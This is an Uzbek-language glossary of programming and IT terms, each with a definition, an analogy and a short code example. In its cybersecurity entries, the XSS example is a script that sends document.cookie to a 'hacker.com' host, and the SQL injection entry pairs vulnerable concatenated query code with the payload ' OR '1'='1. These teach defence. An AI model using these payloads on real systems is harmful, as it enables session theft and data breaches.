API
Web & Front-endIntegratsiyaApplication Programming Interface
Ikki xil dasturiy ta’minotning o‘zaro ma’lumot almashishi va muloqot qilishi uchun standart qoidalar to‘plami.
Hayotiy o'xshatish: Restorandagi ofitsiant: siz menyudan taom buyurasiz (so‘rov), ofitsiant uni oshxonaga yetkazadi va tayyor taomni (javob) sizga olib keladi.
// Brauzerdan API orqali ma'lumot olish
const res = await fetch('https://api.example.com/users');
const data = await res.json();
DOM
Web & Front-endBrauzerDocument Object Model
HTML hujjatning brauzer xotirasida daraxt (tree) ko‘rinishida saqlanadigan va JavaScript orqali o‘zgartirish mumkin bo‘lgan nusxasi.
Hayotiy o'xshatish: Bino loyihasi (HTML) asosida qurilgan tirik interaktiv bino: JS yordamida eshik rangini yoki chiroqni yoqib-o‘chirishingiz mumkin.
const title = document.querySelector('#header-title');
title.textContent = "Salom, Muhammad al-Xorazmiy vorislari!";
JSON
Web & Front-endMa'lumot formatiJavaScript Object Notation
Matn ko‘rinishidagi, inson va mashina uchun o‘qilishi oson bo‘lgan yengil ma’lumot almashish formati.
Hayotiy o'xshatish: Xalqaro standartlashtirilgan pochta konverti — har qanday davlatdagi xodim uning ichidagi manzilni bir xil o‘qiy oladi.
{
"nom": "Frontend Guru",
"hafta": 12,
"faol": true
}
SPA
Web & Front-endArxitekturaSingle Page Application
Bitta HTML sahifani yuklab, sahifalar o‘rtasida o‘tishda butun sahifani qayta yuklamasdan faqat kerakli qismlarini yangilaydigan veb-ilova (Vue, React, Svelte).
Hayotiy o'xshatish: Kitobning har bir sahifasiga yangi qog‘oz ochish o‘rniga, planshet ekrandagi matnni silliq almashtirish kabi.
// Vue Router orqali sahifani qayta yuklamasdan o'tish
router.push('/foundation/datastruct');
Server-Side Rendering
HTML kodlarini brauzerda emas, to‘g‘ridan-to‘g‘ri serverda tayyorlab (render qilib) brauzerga yuborish usuli (SEO va birinchi yuklanish tezligi uchun qulay).
Hayotiy o'xshatish: Tayyor qovurilgan issiq ovqatni yetkazib berish (SSR) vs yarim tayyor mahsulotlarni berib, o‘zingiz uyda pishirib oling deyish (CSR).
// Nuxt / Next.js serverda HTML tayyorlaydi
export async function getServerSideProps() {
return { props: { data } };
}
CORS
Web & Front-endXavfsizlikCross-Origin Resource Sharing
Brauzerning boshqa domen (port, protokol)dan kelayotgan resurslarni xavfsizlik maqsadida cheklash yoki ruxsat berish mexanizmi.
Hayotiy o'xshatish: Boshqa xonadon eshigini taqillatganingizda, faqat ro‘yxatda bo‘lsangiz ichkariga kirita oladigan domkom qoidasi.
# FastAPI da CORS ga ruxsat berish
app.add_middleware(CORSMiddleware, allow_origins=["https://sayt.uz"])
JWT
Web & Front-endAutentifikatsiyaJSON Web Token
Foydalanuvchi tizimga kirganligini tasdiqlovchi, raqamli imzolangan ixcham va xavfsiz token (uch qism: Header.Payload.Signature).
Hayotiy o'xshatish: Kinoteatr yoki konsert chiptasi — chiptachi har safar bazadan sizni tekshirmaydi, chiptadagi muhr/QR kodga qarab zalga kiritadi.
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
PWA
Web & Front-endTexnologiyaProgressive Web App
Veb-saytni xuddi mobil ilovadek telefonga o‘rnatish, offline ishlash va bildirishnomalar (Push) yuborish imkonini beruvchi texnologiya.
Hayotiy o'xshatish: Do‘konga bormasdan (App Store siz) veb-sahifaning o‘zidan to‘g‘ridan-to‘g‘ri telefon ekraniga tushadigan ilova.
// manifest.json va Service Worker orqali offline kesh
WebSocket
Web & Front-endReal-timeWebSocket Protocol
Mijoz (Client) va Server o‘rtasida uzluksiz, ikki tomonlama (full-duplex) real vaqt rejimida aloqa o‘rnatuvchi protokol.
Hayotiy o'xshatish: Xat yozib kutib o‘tirish (HTTP) o‘rniga to‘g‘ridan-to‘g‘ri telefon qo‘ng‘irog‘i qilib gaplashish (WebSocket).
const ws = new WebSocket('wss://chat.example.com');
ws.onmessage = (event) => console.log('Yangi xabar:', event.data);
Responsive Design
Web & Front-endCSSMoslashuvchan Veb Dizayn
Sayt ekran o‘lchamiga qarab (smartfon, planshet, monitor) avtomatik ravishda moslashib chiroyli ko‘rinishi.
Hayotiy o'xshatish: Suv har qanday idish (stakan, ko‘za, shisha) shaklini oson olgani kabi.
@media (max-width: 768px) {
.sidebar { display: none; }
.grid { grid-template-columns: 1fr; }
}
Hydration
Web & Front-endFrontendClient-side Hydration
Serverdan kelgan qotib turgan statik HTML kodiga brauzerdagi JavaScript hodisalarini (click, hover) ulab, uni tirik interaktiv holatga keltirish jarayoni.
Hayotiy o'xshatish: Muzlatilgan quruq gulga suv sepib, uni qayta jonlantirish kabi.
// Vue / React avtomatik tarzda statik DOM ni o'ziga ulaydi
Bundler (Vite/Webpack)
Web & Front-endBuild ToolModule Bundler
Yuzlab JS, CSS, rasm va kutubxona fayllarini ishlab chiqarish (production) uchun bitta yoki bir nechta ixcham va optimallashgan faylga yig‘ib beruvchi vosita.
Hayotiy o'xshatish: Sayohatga ketayotganda uyimdagi barcha mayda buyumlarni ixcham chamadonga tartiblab joylash.
npm run build # Vite butun loyihani dist/ papkaga jamlaydi
REST
Back-end & DevOpsArxitekturaRepresentational State Transfer
HTTP metodlari (GET, POST, PUT, DELETE) asosida veb-xizmatlarni loyihalashning eng ommabop arxitektura uslubi.
Hayotiy o'xshatish: Dunyodagi barcha yo‘l harakati qoidalarining yagona tilda bo‘lishi — har qanday mashina bir xil qoidaga amal qiladi.
GET /api/users # ro'yxatni olish
POST /api/users # yangi qo'shish
DELETE /api/users/42 # o'chirish
CRUD
Back-end & DevOpsBaza amallariCreate, Read, Update, Delete
Ma’lumotlar ustida bajariladigan 4 ta asosiy amal: Yaratish (Create), O‘qish (Read), Yangilash (Update), O‘chirish (Delete).
Hayotiy o'xshatish: Daftarga yangi qayd yozish, uni o‘qish, xatosini tuzatish va kerak bo‘lmasa o‘chirib tashlash.
SQL: INSERT, SELECT, UPDATE, DELETE
HTTP: POST, GET, PUT/PATCH, DELETE
ORM
Back-end & DevOpsMa'lumotlar bazasiObject-Relational Mapping
SQL so‘rovlarini qo‘lda yozmasdan, dasturlash tilidagi klass va obyektlar orqali ma’lumotlar bazasi bilan ishlash imkonini beruvchi texnologiya (SQLAlchemy, Prisma, Hibernate).
Hayotiy o'xshatish: O‘zbek tilida so‘zlashuvchi odamning chet ellik bilan tarjimon orqali erkin suhbatlashishi.
# SQL o'rniga Python klassi
user = User.query.filter_by(name="Ali").first()
user.status = "faol"
db.session.commit()
Docker
Back-end & DevOpsDevOpsDocker Containerization
Dastur va uning ishlashi uchun zarur bo‘lgan barcha kutubxonalarni bitta ixcham konteynerga o‘rab, har qanday serverda bir xil xatosiz ishga tushiruvchi platforma.
Hayotiy o'xshatish: Mening kompyuterimda ishladi-yu, serverda ishlamayapti degan muammoni butun kompyuter muhitini konteynerga solib berish orqali hal qilish.
FROM python:3.11-slim
WORKDIR /app
COPY . .
CMD ["uvicorn", "main:app", "--host", "0.0.0.0"]
CI/CD
Back-end & DevOpsDevOpsContinuous Integration / Continuous Deployment
Dasturchi yangi kod kiritganda, uni avtomatik tarzda tekshirish (test qilish), yig‘ish (build) va serverga yuklash (deploy) konveyeri.
Hayotiy o'xshatish: Avtomobil zavodidagi avtomatlashtirilgan yig‘ish liniyasi: har bir detal tekshiriladi va xatosiz bo‘lsa keyingi bosqichga o‘tkaziladi.
# GitHub Actions .github/workflows/deploy.yml
on: [push]
jobs:
test:
run: pytest
Middleware
Back-end & DevOpsBackendOraliq dasturiy ta’minot
So‘rov (Request) asosiy ishlov beruvchi kontrollerga yetib borguncha uni tekshiruvchi (log yozish, token tekshirish, xavfsizlik) oraliq qatlam.
Hayotiy o'xshatish: Bino kirishidagi nazorat-o‘tkazish punkti (tana haroratini o‘lchash va ruxsatnomani tekshirish).
@app.middleware("http")
async def auth_check(request, call_next):
if not request.headers.get("Authorization"):
return Response(status_code=401)
return await call_next(request)
Microservices
Back-end & DevOpsArxitekturaMikroservislar arxitekturasi
Bitta ulkan dasturni (Monolit) bir-biridan mustaqil ishlaydigan kichik servislar (Foydalanuvchilar, To‘lovlar, Buyurtmalar)ga bo‘lib qurish usuli.
Hayotiy o'xshatish: Bitta odam hamma ishni qilishi (monolit) o‘rniga, har bir ishni alohida mutaxassis bajaradigan jamoa.
Auth Service (Port 8001) <-> Order Service (Port 8002) <-> Payment Service (Port 8003)
Redis (Cache)
Back-end & DevOpsKesh & XotiraRemote Dictionary Server
Ma’lumotlarni tezkor xotirada (RAM) kalit-qiymat (Key-Value) ko‘rinishida saqlovchi juda tezkor kesh va xabarlar tizimi.
Hayotiy o'xshatish: Har safar arxiv omboriga borib qog‘oz qidirmasdan, eng ko‘p kerak bo‘ladigan ma’lumotlarni stol ustidagi yondaftarga yozib qo‘yish.
redis_client.set("user:101:balance", 500000, ex=60) # 60 soniyalik kesh
Load Balancer
Back-end & DevOpsDevOps & TarmoqYuklamani taqsimlovchi
Kelayotgan millionlab foydalanuvchilar so‘rovini bir nechta serverlar o‘rtasida teng taqsimlab, tizim qulab qolishining oldini oluvchi vosita (Nginx, HAProxy).
Hayotiy o'xshatish: Bankdagi navbat boshqaruvchi xodim: mijozlarni bo‘sh turgan kassirlarga birin-ketin yo‘naltiradi.
upstream my_servers {
server 10.0.0.1:8000;
server 10.0.0.2:8000;
}
Webhook
Back-end & DevOpsIntegratsiyaWeb Callback / Event Notification
Biror voqea yuz berganda (masalan to‘lov o‘tganda) bir tizim boshqa tizimga avtomatik tarzda HTTP POST orqali xabar yuborishi.
Hayotiy o'xshatish: Har daqiqada pochtaga borib xat keldimi deb so‘rash (Polling) o‘rniga, xat kelgan zahoti kuryer eshigiingizni taqillatishi (Webhook).
@app.post("/webhook/payme")
async def handle_payment(data: PaymentSchema):
activate_user_subscription(data.user_id)
SDK
Android dasturlashAsboblarSoftware Development Kit
Muayyan platforma (masalan, Android) uchun ilovalar yaratishga mo‘ljallangan tayyor vositalar, kutubxonalar va emulyatorlar to‘plami.
Hayotiy o'xshatish: Mebel yasash uchun maxsus ustaxona qutisi: ichida arra, bolg‘a, o‘lchagich va barcha kerakli andazalar bor.
android {
compileSdk 34
defaultConfig {
minSdk 24
targetSdk 34
}
}
APK / AAB
Android dasturlashIlova formatiAndroid Package Kit / Android App Bundle
Android operatsion tizimida o‘rnatiladigan tayyor ilova fayli (APK) va Google Play uchun optimallashgan rasmiy paket (AAB).
Hayotiy o'xshatish: Yig‘ilgan tayyor velosiped (APK) vs yukxona hajmini tejash uchun qismlarga ajratilib qutilangan model (AAB).
./gradlew assembleRelease # APK yaratish
./gradlew bundleRelease # AAB yaratish
Activity
Android dasturlashKomponentAndroid UI Ekran oynasi
Foydalanuvchi ko‘radigan va muloqot qiladigan bitta mustaqil vizual ekran oynasi.
Hayotiy o'xshatish: Kitobning alohida sahifasi yoki teatr sahnasidagi bitta to‘liq ko‘rinish.
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
}
}
Jetpack Compose
Android dasturlashUI FrameworkZamonaviy Deklarativ UI Framework
Android uchun eski XML fayllarsiz, to‘g‘ridan-to‘g‘ri Kotlin kodida interfeyslarni qulay va tezkor chizish vositasi.
Hayotiy o'xshatish: Eski chizma qog‘ozida chizish (XML) o‘rniga, konstruktor kubiklaridan tezkorlik bilan shakl yasash.
@Composable
fun Greeting(name: String) {
Text(text = "Salom, $name!", color = Color.Green)
}
Coroutine
Android dasturlashAsinxronlikAsinxron yengil iplar (Kotlin)
Asosiy ekran interfeysini (UI) qotirib qo‘ymasdan, orqa fonda og‘ir amallarni (tarmoq, baza) yengil va samarali bajarish usuli.
Hayotiy o'xshatish: Choy damlaguncha qotib turmasdan, choy qaynaguncha bemalol boshqa yumushlarni qilib turish.
viewModelScope.launch(Dispatchers.IO) {
val data = apiService.fetchData()
withContext(Dispatchers.Main) { updateUi(data) }
}
ViewModel
Android dasturlashArxitekturaMVVM Arxitektura komponenti
Telefonni yonga buraganda (ekran aylanganda) ma’lumotlar o‘chib ketmasligi uchun ularni xavfsiz saqlab turuvchi qatlam.
Hayotiy o'xshatish: Sahna pardasi almashtirilayotganda aktyorning kiyimlarini saqlab turadigan orqa xona (grimxona).
class UserViewModel : ViewModel() {
private val _users = MutableStateFlow<List<User>>(emptyList())
val users: StateFlow<List<User>> = _users
}
ANR
Android dasturlashXatolikApplication Not Responding
Ilova 5 soniyadan ortiq vaqt davomida foydalanuvchi bosishiga javob bermay qotib qolganda Android tizimi chiqaradigan ogohlantirish.
Hayotiy o'xshatish: Kassir qotib qolib, 5 daqiqa davomida navbatdagilarga umuman e’tibor bermay qo‘yishi.
// Xato: Asosiy oqimda (Main Thread) og'ir yuklama bajarmang!
ADB
Android dasturlashTerminal ToolAndroid Debug Bridge
Kompyuter va Android qurilma o‘rtasida buyruqlar almashish, ilovalarni o‘rnatish va loglarni ko‘rish uchun xizmat qiluvchi konsol dasturi.
Hayotiy o'xshatish: Kompyuterdan turib telefon ichiga to‘g‘ridan-to‘g‘ri buyruq beruvchi maxsus masofaviy pult.
adb devices # ulangan telefonlarni ko'rish
adb install app.apk # ilovani o'rnatish
adb logcat # xatolik loglarini o'qish
ETL / ELT
BI & Data / MLMa'lumot quvuriExtract, Transform, Load
Har xil manbalardan ma’lumotlarni yig‘ish (Extract), tozalash va tahlilga moslash (Transform), so‘ng omborga yuklash (Load) jarayoni.
Hayotiy o'xshatish: Konditerlik fabrikasi: xom ashyoni yig‘ish, tozalab aralashtirish va chiroyli qadoqlarga joylash.
# Python Pandas orqali sodda ETL
df = pd.read_csv('sales.csv')
df['total'] = df['qty'] * df['price']
df.to_sql('sales_clean', con=db_engine)
Data Warehouse (DWH)
BI & Data / MLKatta ma'lumotMa’lumotlar Ombori
Kompaniyaning barcha tarixiy ma’lumotlari biznes tahlil va qarorlar qabul qilish uchun jamlanadigan maxsus markazlashtirilgan baza (BigQuery, Snowflake).
Hayotiy o'xshatish: Oddiy operatsion do‘kon peshtaxtasi (OLTP) emas, balki shaharning barcha yillik zaxirasi saqlanadigan ulkan logistika ombori (DWH).
SELECT region, SUM(revenue) FROM `bigquery-public-data.sales` GROUP BY region;
KPI
BI & Data / MLBiznes ko'rsatkichKey Performance Indicator
Loyiha yoki tashkilot o‘z maqsadiga qanchalik muvaffaqiyatli erishayotganini o‘lchaydigan asosiy ko‘rsatkich.
Hayotiy o'xshatish: Avtomobil spidometri va yonilg‘i datchigi — manzilga o‘z vaqtida va xavfsiz yetib borish holatini ko‘rsatib turadi.
KPI = (Joriy foyda / Rejalashtirilgan maqsad) * 100%
Overfitting
BI & Data / MLMashinali o'rganishModelning haddan tashqari moslashishi
Sun’iy intellekt modeli o‘quv ma’lumotlarini shunchaki yodlab olib, yangi ko‘rilmagan ma’lumotlarda juda yomon natija ko‘rsatishi.
Hayotiy o'xshatish: O‘quvchi imtihonga tayyorlanayotganda mavzuni tushunmasdan aynan 1 ta test javoblarini yodlab olib, yangi savol tushganda yiqilishi.
# Regularizatsiya (Dropout, L2) orqali oldi olinadi
model.add(Dropout(0.3))
RAG
BI & Data / MLLLM & AIRetrieval-Augmented Generation
Katta til modeliga (LLM) javob berishdan oldin kompaniyaning maxsus hujjatlaridan qidirib topib, faktlarga asoslangan aniq javob berishini ta’minlash usuli.
Hayotiy o'xshatish: Talabaning yopiq kitob bilan emas, balki kerakli konspektni ochib ko‘rib, eng to‘g‘ri va yangi faktlar bilan javob berishi.
1. User savoli -> Vektor qidiruv (Chroma/Pinecone) -> Topilgan matn + Savol -> LLM
Prompt Engineering
BI & Data / MLSun'iy intellektAI so‘rovlarini muhandislik qilish
Sun’iy intellektdan eng aniq, xatosiz va sifatli natija olish uchun buyruq va kontekstni to‘g‘ri tuzish san’ati.
Hayotiy o'xshatish: Tajribali ustaga vazifani barcha talablari va mezonlari bilan tushuntirish.
"Sen tajribali Python mentorsan. Quyidagi kodni tahlil qil va kamchiliklarini bullet point shaklida ko'rsat:"
Frames Per Second / First-Person Shooter
1) Ekranda bir soniyada chiziladigan kadrlar soni (kamida 60 FPS silliq o‘yin uchun zarur). 2) Birinchi shaxs nomidan otishma o‘yin janri.
Hayotiy o'xshatish: Qog‘oz burchagiga multfilm chizib, sahifalarini tez varaqlaganda harakat qanchalik silliq ko‘rinishi.
const deltaTime = 1.0 / targetFPS; // 60 FPS da har kadr ~16.6ms
To‘qnashuv maydoni (Collision Box)
O‘yin qahramoni yoki obyektiga o‘q tekkanini, zarba berilganini aniqlash uchun uning atrofiga chizilgan ko‘rinmas geometrik chegara.
Hayotiy o'xshatish: Futbol darvozasi chizig‘i — to‘p aynan shu ko‘rinmas chiziqdan to‘liq o‘tsagina gol hisoblanadi.
if (player.hitbox.intersects(bullet.hitbox)) {
player.takeDamage(25);
}
Game Loop
Game DesignArxitekturaO‘yinning asosiy cheksiz sikli
O‘yin davomida har bir soniyada o‘nlab marta takrorlanuvchi jarayon: 1. Kiritishni qabul qilish, 2. Fizika va holatni yangilash, 3. Ekranga chizish (Render).
Hayotiy o'xshatish: Inson yuragining tinimsiz urishi: kislorod oladi, qon haydaydi, tanani tirik ushlab turadi.
function loop() {
processInput();
updatePhysics();
render();
requestAnimationFrame(loop);
}
Shader
Game DesignRender & GPUGrafik karta (GPU) mikrodasturi
Videokartada (GPU) to‘g‘ridan-to‘g‘ri ishlovchi, yorug‘lik, soya, suv to‘lqini, olov va ranglarni hisoblovchi tezkor dastur.
Hayotiy o'xshatish: Rassomning qora-oq rasm ustiga mo‘yqalam bilan yorug‘lik va soya effektlarini kiritishi.
// GLSL Fragment Shader
void main() {
gl_FragColor = vec4(1.0, 0.5, 0.0, 1.0); // Olovrang piksel
}
Rigging
Game Design3D Modellashtirish3D Skelet tizimini o‘rnatish
3D modelni harakatlantirish (animatsiya qilish) uchun uning ichiga suyaklar (Bones) va bo‘g‘inlar tizimini joylashtirish.
Hayotiy o'xshatish: Qo‘g‘irchoq teatrida qo‘g‘irchoqning qo‘l va oyoqlariga iplar va bo‘g‘inlar o‘rnatish.
Armature -> Bone Root -> Spine -> Arm_L / Arm_R
General Purpose Input/Output
Mikrokontrollerdagi (Arduino, ESP32, Raspberry Pi) tashqi sensorlar, tugmalar va svetodiodlarni ulash mumkin bo‘lgan universal oyoqchalar (pinlar).
Hayotiy o'xshatish: Kompyuterning istalgan qurilmani (fleshka, sichqoncha, klaviatura) ulash mumkin bo‘lgan universal USB portlari kabi.
pinMode(13, OUTPUT);
digitalWrite(13, HIGH); // 13-pinga 3.3V/5V kuchlanish berish
Message Queuing Telemetry Transport
Kuchlanishi va internet tezligi past bo‘lgan aqlli qurilmalar (IoT) uchun maxsus yaratilgan juda yengil xabarlar almashish protokoli (Publish / Subscribe).
Hayotiy o'xshatish: Telegramdagi kanal tizimi: harorat datchigi yangi ma’lumotni kanalga tashlaydi (publish), obuna bo‘lgan konditsioner esa xabarni olib ishga tushadi (subscribe).
client.publish("uy/xona1/harorat", "24.5");
client.subscribe("uy/xona1/#");
Wi-Fi & Bluetooth Mikrokontroller
O‘zida Wi-Fi va Bluetooth modullarini jamlagan, arzon va kuchli ikki yadroli IoT mikrokontrolleri.
Hayotiy o'xshatish: O‘zida ham miya, ham simsiz aloqa antennasi bo‘lgan ixcham aqlli mitti robot yuragi.
#include <WiFi.h>
WiFi.begin("MeningWiFi", "Parol123");
Pulse Width Modulation
Raqamli signalni juda tez yoqib-o‘chirish orqali dvigatel tezligini yoki svetodiod yorug‘ligini silliq boshqarish usuli.
Hayotiy o'xshatish: Xona chirog‘ini sekundiga 1000 marta yoqib-o‘chirib, ko‘zga uni xira yoki yorug‘ ko‘rsatish usuli.
analogWrite(LED_PIN, 128); // 50% yorug'lik kuchi
SQL Injection (SQLi)
KiberxavfsizlikZaiflikSQL Kodini suqib kiritish hujumi
Foydalanuvchi kiritish maydoniga (login, parol) maxsus SQL buyruqlarini yozib, bazadagi yashirin ma’lumotlarni ruxsatsiz qo‘lga kiritish yoki o‘chirish zaifligi.
Hayotiy o'xshatish: Hujjatdagi ismingiz o‘rniga "Ismim Ali va unga barcha pullarni bering" deb yozib, qalbaki ruxsat olish.
// Zaif kod:
query = "SELECT * FROM users WHERE user = '" + input + "'"
// Kiritilgan hujum: ' OR '1'='1
XSS
KiberxavfsizlikZaiflikCross-Site Scripting
Veb-sahifaga (masalan izohlar qismiga) zararli JavaScript kodini joylashtirib, boshqa foydalanuvchilarning cookie yoki tokenlarini o‘g‘irlash hujumi.
Hayotiy o'xshatish: Maktab e’lonlar doskasiga zaharli yelim surtib qo‘yish — har bir tegingan o‘quvchining barmog‘iga yopishadi.
<script>fetch('https://hacker.com/steal?c=' + document.cookie)</script>
Distributed Denial of Service
Yuz minglab kompyuterlar (botnet) orqali bitta serverga bir vaqtda haddan ortiq ko‘p so‘rov yuborib, uning ish faoliyatini to‘xtatib qo‘yish.
Hayotiy o'xshatish: Kichik do‘konga bir vaqtda 5000 kishi kirib hech narsa sotib olmasdan eshiklarni to‘sib qo‘yishi natijasida haqiqiy xaridorlar kira olmasligi.
# Himoya: Cloudflare, Rate Limiting, DDoS Shield
Phishing
KiberxavfsizlikIjtimoiy muhandislikFishing (Qalbaki tuzoq sahifalar)
Foydalanuvchini aldab, mashhur saytlar (Telegram, Google, Bank) nusxasiga o‘xshash soxta sayt orqali login va parollarini o‘g‘irlash.
Hayotiy o'xshatish: Haqiqiy baliq ovidagi qarmoqqa qurt ilib baliqni aldash kabi.
Haqiqiy: https://telegram.org
Qalbaki: https://te1egram-login-gift.xyz
Hash & Salt
KiberxavfsizlikKriptografiyaParollarni xeshlash va tuzlash
Parollarni bazada ochiq matn ko‘rinishida emas, orqaga qaytarib bo‘lmaydigan matematik formula (Bcrypt, Argon2) va tasodifiy tuz (Salt) bilan shifrlab saqlash.
Hayotiy o'xshatish: Go‘shtni maydalagichdan chiqarib qiymaga aylantirish — qiymani orqaga qaytarib yana butun go‘sht qilib bo‘lmaydi.
import bcrypt
hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt())
2FA / MFA
KiberxavfsizlikXavfsizlikTwo-Factor Authentication
Tizimga kirishda faqat parol emas, balki ikkinchi xavfsizlik bosqichi (SMS kod, Google Authenticator)ni talab qilish.
Hayotiy o'xshatish: Eshikni ochish uchun faqat kalit emas, qo‘shimcha barmoq izi skaneri ham kerak bo‘lishi.
1. Login/Parol to'g'ri -> 2. 6 xonali TOTP kod tekshiriladi
Big-O Notation
CS & FoundationAlgoritmAlgoritmik Murakkablik belgisi
Ma’lumotlar hajmi (N) oshib borgan sari algoritm qancha vaqt (Time) yoki xotira (Space) talab qilishini baholovchi matematik belgi (O(1), O(log N), O(N), O(N²)).
Hayotiy o'xshatish: Telefon kitobidan ismni qidirish tezligi: varaqlab qidirish O(log N) vs har bir odamni bittalab ko‘rib chiqish O(N).
O(1) - Eng tez (doimiy vaqt)
O(log N) - Binary Search
O(N) - Oddiy qidiruv
O(N^2) - Bubble Sort
Stack (LIFO)
CS & FoundationTuzilmaLast In, First Out (Stak tuzilmasi)
Eng oxirgi qo‘shilgan element eng birinchi bo‘lib olinadigan ma’lumotlar tuzilmasi (amallar: push va pop).
Hayotiy o'xshatish: Likopchalar taxlami yoki kitoblar taxlami — eng ustiga qo‘ygan kitobingizni birinchi bo‘lib olasiz.
const stack = [];
stack.push(10); // qo'shish
const top = stack.pop(); // olish -> 10
Queue (FIFO)
CS & FoundationTuzilmaFirst In, First Out (Navbat tuzilmasi)
Birinchi bo‘lib kelgan element birinchi bo‘lib chiqadigan ma’lumotlar tuzilmasi (amallar: enqueue va dequeue).
Hayotiy o'xshatish: Do‘kon kassasidagi navbat: birinchi kelgan xaridorga birinchi xizmat ko‘rsatiladi.
const queue = [];
queue.push(10); // enqueue
const first = queue.shift(); // dequeue -> 10
Linked List
CS & FoundationTuzilmaZanjirli ro‘yxat
Xotirada yonma-yon joylashishi shart bo‘lmagan, har bir tugun (Node) o‘z qiymati va keyingi tugun manzilini (pointer) saqlaydigan ro‘yxat.
Hayotiy o'xshatish: Poyezd vagonlari: har bir vagon o‘zidan keyingi vagonga zanjir orqali ulangan.
class Node {
constructor(val) {
this.val = val;
this.next = null;
}
}
Recursion
CS & FoundationDasturlashRekursiya
Funksiyaning o‘z-o‘zini chaqirishi. To‘xtash sharti (Base Case) bo‘lishi shart, aks holda xotira to‘lib Stack Overflow yuz beradi.
Hayotiy o'xshatish: Bir-birining ichiga joylashtirilgan rus matryoshka qo‘g‘irchoqlari — eng oxirgi mitti qo‘g‘irchoqqacha ochib boriladi.
function faktorial(n) {
if (n <= 1) return 1; // to'xtash sharti
return n * faktorial(n - 1);
}
Hash Table
CS & FoundationTuzilmaXesh-jadval (Lug‘at / Map)
Kalit (Key) orqali qiymatni (Value) bir zumda O(1) vaqtda topish imkonini beruvchi juda tezkor ma’lumotlar tuzilmasi.
Hayotiy o'xshatish: Kiyim iladigan kiyimxona raqamchasi: raqamga qarab darhol aynan sizning kiyimingizni topib berishadi.
const scores = new Map();
scores.set("Ali", 95);
console.log(scores.get("Ali")); // 95
Garbage Collection (GC)
CS & FoundationXotiraXotirani avtomatik tozalovchi
Dastur ishlashida xotirada ortiqcha foydalanilmayotgan obyektlarni aniqlab, xotirani avtomatik bo‘shatib beruvchi tizim (JS, Python, Java).
Hayotiy o'xshatish: Xonadonda yig‘ilib qolgan chiqindilarni jadval bo‘yicha tozalab olib ketuvchi farrosh.
let obj = { name: "test" };
obj = null; // Obyekt xotiradan GC orqali o'chiriladi